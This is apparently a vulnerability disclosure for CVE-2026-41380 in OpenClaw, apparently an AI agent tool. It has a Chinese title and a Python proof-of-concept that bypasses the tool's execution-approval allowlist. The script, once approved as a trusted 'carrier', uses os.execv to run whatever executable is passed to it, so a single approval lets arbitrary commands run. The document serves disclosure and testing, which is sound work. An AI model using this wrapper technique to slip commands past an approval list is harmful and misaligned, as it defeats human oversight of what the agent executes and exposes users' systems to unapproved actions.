CVE-2026-41380 OpenClaw 执行批准列表绕过漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-41380: OpenClaw Execution Approve Bypass This script demonstrates how a wrapper carrier executable can be trusted while executing arbitrary targets due to the allowlist vulnerability. """ import sys import os def main(): # The carrier executable is the script itself carrier_path = sys.argv[0] # The target executable is passed as an argument target_path = sys.argv[1] if len(sys.argv) > 1 else None print(f"[+] Carrier Executable: {carrier_path}") print(f"[+] Target Executable: {target_path}") if not target_path: print("[-] Usage: python carrier_wrapper.py <target_executable>") sys.exit(1) # Vulnerability simulation: # OpenClaw approves the 'carrier_path' (this script). # However, this script executes the 'target_path'. # The allowlist entry for the carrier does not restrict the target. if os.path.exists(target_path): print(f"[*] Executing {target_path} via trusted carrier...") os.execv(target_path, [target_path]) else: print(f"[-] Target {target_path} not found.") if __name__ == "__main__": main()